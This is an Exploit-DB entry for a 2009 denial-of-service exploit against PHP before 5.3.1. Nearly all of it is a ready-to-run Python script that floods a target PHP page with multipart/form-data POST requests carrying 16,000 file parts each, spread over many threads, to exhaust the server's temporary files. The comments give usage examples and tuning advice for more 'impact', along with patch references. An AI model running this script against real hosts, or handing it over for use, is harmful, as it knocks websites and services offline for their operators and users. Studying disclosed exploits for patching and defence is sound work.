PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service

EDB-ID:

10242


Author:

Eren

Type:

dos


Platform:

PHP

Date:

2009-11-27


#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Author:
#     Eren Turkay <eren .-. pardus.org.tr>, 2009/11/20
#     http://www.pardus.org.tr/eng/
#
# Credits:
#     Bogdan Calin from Acunetix
#
# Description:
#     Exploit to cause denial of service on any host that runs PHP via temporary
#     file exhaustion. It doesn't matter whether the script handles uploads or not.
#     If host runs PHP, it is enough to cause DoS using any PHP script it serves.
#
#     This is the implementation of disclosed vulnerability that was found
#     by Bogdan Calin. See: http://www.acunetix.com/blog/websecuritynews/php-multipartform-data-denial-of-service/
#
# Affected versions:
#     All PHP versions before PHP 5.3.1 and unpatched 5.2.11
#
# Platforms:
#     Windows, Linux, Mac
#
# Fix:
#     Update to 5.3.1. If you use 5.2.11 and can't update, apply the patch [0]:
#
#     [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/rfc1867.c?r1=272374&r2=289990&view=patch (introduce max_file_upload)
#     [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c?r1=289214&r2=289990&view=patch (NOTE: upstream changed 100 to 20, do it so)
#
# Usage:
#     python php-multipart-dos.py <site> <port> </index.php> <num of child: optional>
#
#     After opening childs, you may wait long for threads to finish because sending such a huge data is painful.
#     However, it's not important to finish the request. Openining lots of connections and sending huge data fastly will enough to cause DoS.
#     So the more threads you spawn, the more impact you will make. In normal cases, spawning 150 childs would be enough. But the number depends on you.
#     Trial and error ;))
#
# Example:
#     python php-multipart-dos.py www.example.com 8080 /index.php
#
#     By defalt, the program will create 100 threads, each thread will send 10 requests.
#     You can specify child number to create, you may want to increase or decrease for the impact, etc..
#
#     python php-multipart-dos.py www.example.com 80 /~user/index.php 50
#
# Notes:
#     This script is for educational purposes only. Use it at your OWN risk!

import socket
import random
import time
import threading
import sys

class Connection:
    def __init__(self, host, port):
        self._host = host
        self._port = port
        self.sock = None

    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((self._host, self._port))

    def send(self, msg):
        if not self.sock:
            raise "NotConnected"
        else:
            self.sock.send(msg)

    def close(self):
        self.sock.close()

class Exploit (threading.Thread):
    def __init__(self, host, port, target):
        self._host = host
        self._port = port
        self._target = target
        threading.Thread.__init__(self)

    def getBoundary(self):
        """ Return random boundary data """
        random.seed()
        rnd = random.randrange(100000, 100000000)
        data = "---------------------------%s" % rnd
        return data

    def createPayload(self):
        data = """POST %(target)s HTTP/1.1\r
Host: %(host)s\r
Uset-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)\r
Connection: keep-alive\r
Content-Type: multipart/form-data; boundary=%(boundary)s\r
Content-Length: %(length)s\r\n\r\n"""

        boundary = self.getBoundary()

        # Create a number of upload data, 16.000, yeah! :)
        for i in range(16000):
            data += "--%s\r\n" % boundary
            data += """Content-Disposition: form-data; name="file_%s"; filename="file_%s.txt"\r
Content-Type: text/plain\r\n
Lorem ipsum dolor sit amet, consectetur adipiscing elit. In non blandit augue.\n\r\n""" % (i, i)

        data += "--%s--\r\n" % boundary

        return data % {"host": self._host, "target": self._target, "boundary": boundary, "length": str(len(data))}

    def run(self):
        payload = self.createPayload()
        for i in range(0, 10):
            c = Connection(self._host, self._port)
            c.connect()
            c.send(payload)
            c.close()
            sys.exit(0)
        del payload
        sys.exit(0)

def usage():
    usage_data = """
 __^__                                                  __^__
( ___ )------------------------------------------------( ___ )
 | / |                                                  | \ |
 | / | Eren Turkay <eren .-. pardus.org.tr>, 2009/11/20 | \ |
 | / | http://www.pardus.org.tr/eng/                    | \ |
 |___|                                                  |___|
(_____)------------------------------------------------(_____)

PHP denial of service exploit via temporary file exhaustion
Usage: python php-multipart-dos.py <host> <port> </adress/index.php> <child number: optional>

See source code for more information
"""

    print usage_data

if __name__ == '__main__':
    if not len(sys.argv) >= 4:
        usage()
    else:
        # is child number passed?
        if len(sys.argv) >= 5:
            child = int(sys.argv[4])
        else:
            child = 100
        print "[+] Attack started..."
        for i in range(0, child):
            try:
                exp = Exploit(str(sys.argv[1]), int(sys.argv[2]), str(sys.argv[3]))
                exp.start()
                print "[+] Opening %s childs... [%s]\r" % (child, i+1),
                sys.stdout.flush()
                i += 1
            except KeyboardInterrupt:
                print "\n[-] Keyboard Interrupt. Exiting..."
                sys.exit(1)

        # print it so that previous "Opening childs..." is still there
        print ""
        while True:
            try:
                activeChilds = threading.activeCount()
                print "[+] Waiting for childs to finish. %d remaining...\r" % activeChilds,
                sys.stdout.flush()
                # we have one main process
                if activeChilds == 1:
                    print "\nOK!"
                    sys.exit(0)
            except KeyboardInterrupt:
                print "\n[-] Exiting without waiting!"
                sys.exit(1)